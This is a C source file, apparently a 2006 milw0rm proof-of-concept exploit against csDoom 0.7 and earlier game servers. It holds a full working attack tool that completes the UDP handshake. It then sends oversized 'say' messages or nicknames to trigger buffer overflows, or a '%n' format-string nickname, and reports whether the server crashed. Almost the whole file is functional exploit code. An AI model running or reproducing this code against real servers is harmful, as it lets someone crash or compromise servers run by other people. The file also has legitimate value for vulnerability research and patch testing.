449 lines
No EOL
12 KiB
C
449 lines
No EOL
12 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#define ONESEC 1000
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <sys/param.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#define ONESEC 1
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#endif
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#define VER "0.1"
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#define PORT 10666
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#define BUFFSZ 8192
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#define BOFSZ1 2048
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#define BOFSZ2 2048
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#define FORMATSTRING "%n%n%n%n%n%n%n"
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#define PUT16(x,y) *(u_short *)x = y; \
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x += 2;
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#define PUT32(x,y) *(u_int *)x = y; \
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x += 4;
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#define CHALLENGE 5560020 // challenge
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#define LAUNCHER_CHALLENGE 777123 // csdl challenge
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#define VERSION 70
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#define S2C_CHALLENGE 10
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#define S2C_CONNECTION 11
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#define S2C_FULL 12
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#define clc_disconnect 3
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#define clc_say 4
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#define clc_move 5
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#define clc_userinfo 6
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#define clc_svgametic 7
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#define clc_rate 8
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#define clc_ack 9
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#define clc_rcon 10
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#define clc_rcon_password 11
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#define clc_changeteam 12
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int info_proto(u_char *data, int len);
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int create_bof_string(u_char *data, int len);
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int create_rand_string(u_char *data, int len, u_int *seed);
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int mycpy(u_char *dst, u_char *src);
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int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
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int timeout(int sock, int sec);
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u_int resolv(char *host);
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void std_err(void);
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struct sockaddr_in peer;
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int main(int argc, char *argv[]) {
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u_int seed;
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int sd,
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i,
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len,
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chall = CHALLENGE,
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attack;
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u_short port = PORT;
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u_char buff[BUFFSZ],
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*p;
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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setbuf(stdout, NULL);
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fputs("\n"
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"csDoom <= 0.7 multiple vulnerabilities " VER "\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\n"
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"Usage: %s <attack> <host> [port(%hu)]\n"
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"\n"
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"Attack:\n"
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" 1 = buffer-overflow in SV_BroadcastPrintf\n"
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" 2 = buffer-overflow in SV_SetupUserInfo\n"
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" 3 = format string in Printf\n"
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"\n", argv[0], port);
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exit(1);
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}
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attack = atoi(argv[1]);
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if(argc > 3) port = atoi(argv[3]);
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peer.sin_addr.s_addr = resolv(argv[2]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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seed = time(NULL);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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printf("- query server:\n");
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p = buff;
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PUT32(p, LAUNCHER_CHALLENGE);
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
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chall = info_proto(buff, len);
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printf("- start connection:\n");
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p = buff;
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PUT32(p, chall);
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
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if(buff[0] != S2C_CHALLENGE) {
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close(sd);
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if(buff[0] == S2C_FULL) {
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printf("\nError: server is full\n\n");
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} else {
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printf("\nError: client has not been accepted (%hhu)\n\n", buff[0]);
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}
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exit(1);
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}
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p = buff;
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PUT16(p, VERSION);
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
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if(buff[0] != S2C_CONNECTION) {
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close(sd);
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printf("\nError: your client has been disconnected (wrong version?) (%hhu)\n\n", buff[0]);
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exit(1);
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}
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p = buff;
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*p++ = clc_userinfo;
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if(attack == 2) { // nickname
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printf("- send big nickname\n");
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p += create_bof_string(p, BOFSZ1);
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} else if(attack == 3) {
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printf("- send formatted nickname\n");
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p += mycpy(p, FORMATSTRING);
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} else {
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printf("- send nickname\n");
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p += create_rand_string(p, 16, &seed);
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}
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p += create_rand_string(p, 16, &seed); // teamname
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PUT32(p, seed); // rate value
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if((attack == 2) || (attack == 3)) {
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
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goto quit;
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}
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
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if(attack == 1) {
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printf("- send big say message\n");
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p = buff;
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*p++ = clc_say;
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p += create_bof_string(p, BOFSZ2);
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len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
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}
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// printf("- disconnect\n");
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// p = buff;
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// *p++ = clc_disconnect;
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//
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// len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
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quit:
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close(sd);
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printf("- wait some seconds\n");
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for(i = 3; i; i--) {
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printf("%d\r", i);
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sleep(ONESEC);
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}
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printf("- check server:\n");
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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p = buff;
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PUT32(p, LAUNCHER_CHALLENGE);
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if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
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printf("\n Server IS vulnerable!!!\n\n");
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} else {
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printf("\n Server does not seem vulnerable\n\n");
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}
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close(sd);
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return(0);
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}
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int info_proto(u_char *data, int len) {
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int ver,
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num;
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u_char *limit;
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limit = data + len;
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ver = *(u_int *)data; data += 4;
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printf(" Version %d\n", ver);
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printf(" Hostname %s\n", data); data += strlen(data) + 1;
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printf(" Players %hhu/%hhu\n", data[0], data[1]); data += 2;
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printf(" Mapname %s\n", data); data += strlen(data) + 1;
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if(*data++) {
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printf(" Wad %s\n", data); data += strlen(data) + 1;
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}
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printf(" Deathmatch %hhu\n", *data++);
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printf(" Gameskill %hhu\n", *data++);
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printf(" Teamplay %hhu\n", *data++);
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printf(" Fragstats %s\n", data); data += strlen(data) + 1;
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printf(" DMFlags %u\n", *(u_int *)data); data += 4;
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num = *data++;
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if(num) {
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printf(" Players:\n");
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while(num--) {
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printf(" %s ", data); data += strlen(data) + 1;
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printf(" %hu ", *(u_short *)data); data += 2;
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printf(" %hu\n", *(u_short *)data); data += 2;
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}
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}
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return(ver);
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}
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int create_bof_string(u_char *data, int len) {
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memset(data, 'a', len);
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data[len] = 0;
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return(len + 1);
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}
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int create_rand_string(u_char *data, int len, u_int *seed) {
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u_int rnd;
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u_char *p;
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const static u_char table[] =
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"0123456789"
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"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
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"abcdefghijklmnopqrstuvwxyz";
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rnd = *seed;
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p = data;
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len = rnd % len;
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if(len < 6) len = 6;
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while(--len) {
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rnd = (rnd * 0x343FD) + 0x269EC3;
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rnd >>= 3;
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*p++ = table[rnd % (sizeof(table) - 1)];
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}
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*p++ = 0;
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*seed = rnd;
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return(p - data);
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}
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int mycpy(u_char *dst, u_char *src) {
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u_char *p;
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for(p = dst; *src; src++, p++) {
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*p = *src;
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}
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*p++ = 0;
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return(p - dst);
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}
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int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
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int retry,
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len;
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if(in) {
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for(retry = 3; retry; retry--) {
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if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(!timeout(sd, 2)) break;
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}
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if(!retry) {
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if(!err) return(-1);
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fputs("\nError: socket timeout, no reply received\n\n", stdout);
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exit(1);
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}
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} else {
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if(timeout(sd, 3) < 0) return(-1);
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}
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len = recvfrom(sd, out, outsz, 0, NULL, NULL);
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if(len < 0) std_err();
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return(len);
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}
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int timeout(int sock, int sec) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = sec;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_int resolv(char *host) {
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struct hostent *hp;
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u_int host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_int *)(hp->h_addr);
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2006-03-26]
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